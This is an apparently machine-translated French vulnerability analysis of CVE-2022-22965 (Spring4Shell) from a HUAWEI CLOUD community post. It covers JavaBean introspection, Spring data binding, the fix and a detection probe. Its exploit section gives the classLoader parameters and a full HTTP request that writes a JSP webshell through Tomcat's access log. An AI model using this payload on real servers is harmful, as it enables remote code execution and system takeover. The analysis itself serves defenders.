CVE-2022-22965 Analyse des vulnérabilités, détection précoce des problèmes de sécurité

Cet article est partagé par la communauté HUAWEI CLOUD « Analyse de vulnérabilité CVE-2022-22965 » par Xuuuu.

CVE-2022-22965

Une application Spring MVC ou Spring WebFlux exécutée sur JDK 9+ peut être vulnérable à l'exécution de code à distance (RCE) via la liaison de données. L'exploit spécifique nécessite que l'application s'exécute sur Tomcat en tant que déploiement WAR. Si l'application est déployée en tant que jar exécutable Spring Boot, c'est-à-dire la valeur par défaut, elle n'est pas vulnérable à l'exploit. Cependant, la nature de la vulnérabilité est plus générale et il peut y avoir d'autres façons de l'exploiter.

Construction d'environnement

VulEnv/springboot/cve-2022-22965 au maître · XuCcc/VulEnv

Pré-connaissance

JavaBean

Un objet Bean typique est le suivant

class UserInfo {  
    private int age;  

    public int getAge() {  
        return age;  
    }  

    public void setAge(int age) {  
        this.age = age;  
    }  
}

Une classe qui définit les propriétés via private pour lire et écrire via public getXyz/setXyz est appelée JavaBean [^1]

Introspecteur

java.beans.Introspector [^2] fournit un ensemble standard de méthodes pour accéder aux propriétés, méthodes et événements dans javaBeans, qui recherchent des informations dans le bean lui-même et jusqu'à la classe parent . Par exemple, obtenez des informations relatives à la propriété via java.beans.PropertyDescriptor (name/getter/setter/...)

public static void main(String args[]) throws IntrospectionException {  
    BeanInfo info = Introspector.getBeanInfo(UserInfo.class);  
    PropertyDescriptor[] propertyDescriptors = info.getPropertyDescriptors();  
    for (PropertyDescriptor propertyDescriptor : propertyDescriptors) {  
        System.out.println(propertyDescriptor);  
        System.out.println("=================================================");  
    }  
}

// java.beans.PropertyDescriptor[name=age; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@6e1567f1; required=false}; propertyType=int; readMethod=public int person.xu.vulEnv.UserInfo.getAge(); writeMethod=public void person.xu.vulEnv.UserInfo.setAge(int)]
// =================================================
// java.beans.PropertyDescriptor[name=class; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@5cb9f472; required=false}; propertyType=class java.lang.Class; readMethod=public final native java.lang.Class java.lang.Object.getClass()]
// =================================================

Les opérations d'affectation peuvent également être effectuées par le biais d'opérations d'introspection

UserInfo user = new UserInfo();  
System.out.println("age: " + user.getAge());  
PropertyDescriptor pd = Arrays.stream(info.getPropertyDescriptors()).filter(p -> p.getName().equals("age")).findFirst().get();  
pd.getWriteMethod().invoke(user, 18);  
System.out.println("age: " + user.getAge());

// age: 0
// age: 18

Spring BeanWrapperImpl

Fournit un ensemble d'API simples pour les opérations JavaBean, ainsi que certaines fonctionnalités avancées (propriétés imbriquées, lecture et écriture par lots, etc.)

public class User {  
    private String name;  
    private UserInfo info;  

    public String getName() {  
        return name;  
    }  

    public void setName(String name) {  
        this.name = name;  
    }  

    public UserInfo getInfo() {  
        return info;  
    }  

    public void setInfo(UserInfo info) {  
        this.info = info;  
    }  

    public static void main(String args[]) {  
        User user = new User();  
        BeanWrapper bw = PropertyAccessorFactory.forBeanPropertyAccess(user);  
        bw.setAutoGrowNestedPaths(true);  
        bw.setPropertyValue("name", "wang");  
        bw.setPropertyValue("info.age", 18);  
        System.out.printf("%s is %d%n", user.getName(), user.getInfo().getAge());  
    }  
}

// wang is 18

Analysez la logique d'appel à setPropertyValue("name", "wang") pour avoir une compréhension générale du processus

org.springframework.beans.AbstractNestablePropertyAccessor[^3]

  1. Appelez la méthode getPropertyAccessorForPropertyPath pour obtenir la propriété imbriquée via le getter
    1. getPropertyAccessorForPropertyPath Lorsqu'il y a des propriétés ABC imbriquées, le getter est appelé cycliquement pour obtenir la valeur
  2. Appelez la méthode setPropertyValue pour définir la propriété via le setter
    1. processKeyedProperty définit l'objet Array/List...
    2. processLocalProperty définit l'objet bean simple
      1. getLocalPropertyHandler obtient le descripteur de propriété
        1. getCachedIntrospectionResults Obtenir PropertyDescriptor à partir du cache
          1. CachedIntrospectionResults#forClass crée un cache pour le bean actuel
      2. setValue attribue une valeur en appelant le setter par réflexion

Liaison de données Spring

Prenez le contrôleur suivant comme exemple pour suivre le processus de liaison des paramètres de ressort

@GetMapping("/")  
public String info(User user) {  
    return String.format("%s is %d", user.getName(), user.getInfo().getAge());  
}
  1. La requête http entrante est traitée par org.springframework.web.servlet.DispatcherServlet#doDispatch, et le gestionnaire correspondant est trouvé pour le traitement
  2. org.springframework.web.method.support.InvocableHandlerMethod#invokeForRequest Liaison de paramètres avant d'appeler le gestionnaire
  3. Utilisez la réponse org.springframework.web.method.support.HandlerMethodArgumentResolver#resolveArgument pour la résolution des paramètres et obtenez les paramètres de la demande. Voici org.springframework.web.method.annotation.ModelAttributeMethodProcessor#resolveArgument
  4. Ensuite, accédez à org.springframework.validation.DataBinder#doBind et attribuez des valeurs en fonction de l'objet JavaBean. Ici, vous obtiendrez un BeanWrapperImpl pour attribuer des valeurs via setPropertyValues
  5. org.springframework.beans.AbstractPropertyAccessor#setPropertyValues
  6. org.springframework.beans.AbstractNestablePropertyAccessor#setPropertyValue

Analyse du code source

L'officiel a résolu ce problème dans la version 5.3.18. Consultez  Comparing v5.3.17…v5.3.18 · spring-projects/spring-framework  a apporté des modifications pertinentes à org.springframework.beans.CachedIntrospectionResults#CachedIntrospectionResults, et a renforcé un filtre lié à PropertyDescriptor . Afficher les appels associés

  • org.springframework.beans.CachedIntrospectionResults#forClass
  • org.springframework.beans.BeanWrapperImpl#getCachedIntrospectionResults

En combinant le contenu ci-dessus, il n'est pas difficile de déduire que le BeanWrapperImpl appelé par Spring lors de l'exécution de la liaison de paramètres déclenche cette vulnérabilité lors de l'exécution d'opérations JavaBean.

<init>:272, CachedIntrospectionResults (org.springframework.beans)
forClass:181, CachedIntrospectionResults (org.springframework.beans)
getCachedIntrospectionResults:174, BeanWrapperImpl (org.springframework.beans)
getLocalPropertyHandler:230, BeanWrapperImpl (org.springframework.beans)
getLocalPropertyHandler:63, BeanWrapperImpl (org.springframework.beans)
processLocalProperty:418, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValue:278, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValue:266, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValues:104, AbstractPropertyAccessor (org.springframework.beans)
applyPropertyValues:856, DataBinder (org.springframework.validation)
doBind:751, DataBinder (org.springframework.validation)
doBind:198, WebDataBinder (org.springframework.web.bind)
bind:118, ServletRequestDataBinder (org.springframework.web.bind)
bindRequestParameters:158, ServletModelAttributeMethodProcessor (org.springframework.web.servlet.mvc.method.annotation)
resolveArgument:171, ModelAttributeMethodProcessor (org.springframework.web.method.annotation)
resolveArgument:122, HandlerMethodArgumentResolverComposite (org.springframework.web.method.support)
getMethodArgumentValues:179, InvocableHandlerMethod (org.springframework.web.method.support)
invokeForRequest:146, InvocableHandlerMethod (org.springframework.web.method.support)
...

Exp écrire

Étant donné que JDK9 fournit nouvellement java.lang.Module[^4], le classLoader peut être obtenu via class.module.classLoader dans CachedIntrospectionResults#CachedIntrospectionResults, donc ce trou est également un contournement de CVE-2010-1622[^5].

Les EXP qui circulent actuellement utilisent toutes ParallelWebappClassLoader de Tomcat pour modifier les attributs liés au journal dans Tomcat [^6], pour écrire le webshell dans le fichier journal afin d'atteindre l'objectif d'exécution de la commande.

Par exemple, écrivez cmd dans l'en-tête http de webapps/shell.jsp

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{cmd}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

envoyer le message

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7bcmd%7di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps%2fROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 7.223.181.36:38888
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
cmd: <%=Runtime.getRuntime().exec(request.getParameter(new String(new byte[]{97})))%>

Vous pouvez utiliser shell.jsp?a=cmd pour exécuter la commande

Pour d'autres détails d'utilisation, veuillez vous référer à : Quelques réflexions sur Spring framework rce (CVE-2022-22965)

Corrections de correctifs

Spring renforce le jugement lors de l'obtention du descripteur d'attribut, ne laissant que l'attribut name.

if (Class.class == beanClass && (!"name".equals(pd.getName()) && !pd.getName().endsWith("Name"))) {
    // Only allow all name variants of Class properties
    continue;
}
if (pd.getPropertyType() != null && (ClassLoader.class.isAssignableFrom(pd.getPropertyType())
        || ProtectionDomain.class.isAssignableFrom(pd.getPropertyType()))) {
    // Ignore ClassLoader and ProtectionDomain types - nobody needs to bind to those
    continue;
}

Écriture poco

En définissant les propriétés sous le chargeur de classe de manière incorrecte pour déclencher l'exception BindException et laisser le serveur renvoyer une exception, vous pouvez déterminer s'il existe une vulnérabilité, telle que l'envoi

GET /?class.module.classLoader.defaultAssertionStatus=123 HTTP/1.1
Host: 127.0.0.1:39999
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

retour du serveur

HTTP/1.1 400 
Content-Type: text/html;charset=UTF-8
Content-Language: zh-CN
Content-Length: 277
Date: Fri, 08 Apr 2022 03:49:42 GMT
Connection: close

<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>Fri Apr 08 11:49:42 CST 2022</div><div>There was an unexpected error (type=Bad Request, status=400).</div></body></html>

Référence

  • Spring Framework RCE, annonce anticipée
  • Vulnérabilité SpringShell RCE : Conseils pour se protéger et détecter CVE-2022-22965 - Microsoft Security Blog
  • Principe de liaison des paramètres SpringMVC | la technologie est le moteur de la vie
  • Analyse des vulnérabilités Spring Framework RCE | Blog de Gta1ta
  • CVE-2022-22965 (SpringShell) : analyse et atténuation des vulnérabilités RCE

note de bas de page

[^1] : JavaBeans - Wikipédia
[^2] : Introspecteur (Java Platform SE 8 )
[^3] : Spring Property Injection (3) AbstractNestablePropertyAccessor - binarylei - Blog Park
[^4] : Module (Java SE 9 et JDK 9 )
[^5] : Analyse de la vulnérabilité d'exécution de code arbitraire du framework SpringMVC (CVE-2010-1622) - Ruilin
[^6] : Référence de configuration d'Apache Tomcat 8 (8.0.53) - Le composant Valve

Bonus en fin d'article : HUAWEI CLOUD Vulnerability Scanning Service VSS Basic Edition est gratuit pour une durée limitée >>>

Cliquez sur Suivre pour en savoir plus sur les nouvelles technologies de HUAWEI CLOUD pour la première fois ~

Je suppose que tu aimes

Origine blog.csdn.net/devcloud/article/details/124171282
conseillé
Classement